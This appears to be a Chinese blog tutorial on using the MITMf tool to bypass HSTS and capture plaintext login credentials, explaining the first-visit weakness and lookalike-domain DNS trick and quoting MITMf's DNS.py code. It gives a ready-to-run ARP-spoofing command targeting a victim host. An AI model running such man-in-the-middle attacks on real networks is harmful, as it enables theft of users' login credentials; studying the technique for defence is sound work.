使用mitmf 来绕过HSTS站点抓取登陆明文

HSTS简介

HSTS是HTTP Strict Transport Security的缩写,即:"HTTP严格安全传输"。当浏览器第一次访问一个HSTS站点,会跳转到https页面,并种植hsts,下次再访问此站时,只要HSTS 还在有效期中,浏览器就会响应一个 HTTP 307 头,在不经过网络请求直接本地强制http跳转到https。这样可以有效防止基于SSLStrip的中间人攻击,对于伪造的证书,会显示错误,并且不允许用户忽略警告。

一个hsts 站点响应的例子:

➜  lab  curl  -I   www.taobao.com
HTTP/1.1 302 Found
Server: Tengine
Date: Tue, 12 Apr 2016 06:18:30 GMT
Content-Type: text/html
Content-Length: 258
Connection: keep-alive
Location: https://www.taobao.com/
Set-Cookie: thw=cn; Path=/; Domain=.taobao.com; Expires=Wed, 12-Apr-17 06:18:30 GMT;
Strict-Transport-Security: max-age=31536000

bypass

mitmf 原理

用户首次访问某网站是不受HSTS保护的。这是因为首次访问时,浏览器还未收到HSTS,此时可以劫持站点绕过hsts 。

mitmf 就是利用这个缺陷绕过,当用户首次访问时,通过dns2proxy 伪造出一个具体迷惑性的http站点,例如 访问 www.taobao.com 跳转到 wwww.taobao.com 或者 访问login.taobao.com 跳转到 weblogin.taobao.com 。

具体代码 https://github.com/byt3bl33d3r/MITMf/blob/master/core/servers/DNS.py

 if hsts:
if qname in hstsconfig:
response = self.hstsbypass(hstsconfig[qname], qname, nameservers, d)
return response elif qname[:4] == 'wwww':
response = self.hstsbypass(qname[1:], qname, nameservers, d)
return response elif qname[:3] == 'web':
response = self.hstsbypass(qname[3:], qname, nameservers, d)
return response

演示

kali执行

apt-get install  mitmf
mitmf -i eth0 --spoof --arp --hsts --gateway 10.211.55.1 --targets 10.211.55.4

ubuntu 打开 www.xxxx.com

参考

MITMf https://github.com/byt3bl33d3r/MITMf

最新文章

  1. TINYINT,SMALLINT,MEDIUMINT,INT,INTEGER,BIGINT;text,longtext,mediumtext,ENUM,SET等字段类型区别
  2. 关于NOR-FLASH和NAND-fLASH的区别。——Arvin
  3. ecshop改造读写分离配置与改造
  4. HTML5表单内元素的required属性
  5. token验证 sae
  6. 解决“您必须先更新GOOGLE play才能运行此应用”的问题
  7. HTML5入门(一)—— 基本标签&表格
  8. kafka 创建消费者报错 consumer zookeeper is not a recognized option
  9. TYVJ1424-占卜DIY
  10. CentOS 6 升级 curl
  11. ansible基础-ansible角色的使用
  12. Java学习笔记33(集合框架七:Collections工具类)
  13. Qt warning: 构建目录必须和源文件目录为同级目录
  14. oracle 11g RAC数据库监听配置相关
  15. Unix环境高级编程:守护进程
  16. Webdriver设置Firefox自动下载
  17. spring的统一异常处理
  18. pycharm Unresolved reference 无法引入包
  19. Linux系统初探过程总结
  20. java基础75 xpth技术(网页知识)

热门文章

  1. 共享有线实现手机上网,然后使用charles来抓包
  2. Spark是一种分布式的计算方案
  3. keypress
  4. PHP截取IE浏览器并缩小原图的方法
  5. android menu 开发
  6. java基础问题 (转)
  7. 分段播放的flash播放器
  8. c# 动态调用webserver
  9. Java基础类库
  10. 网络编码 GB2312、GBK与UTF-8的区别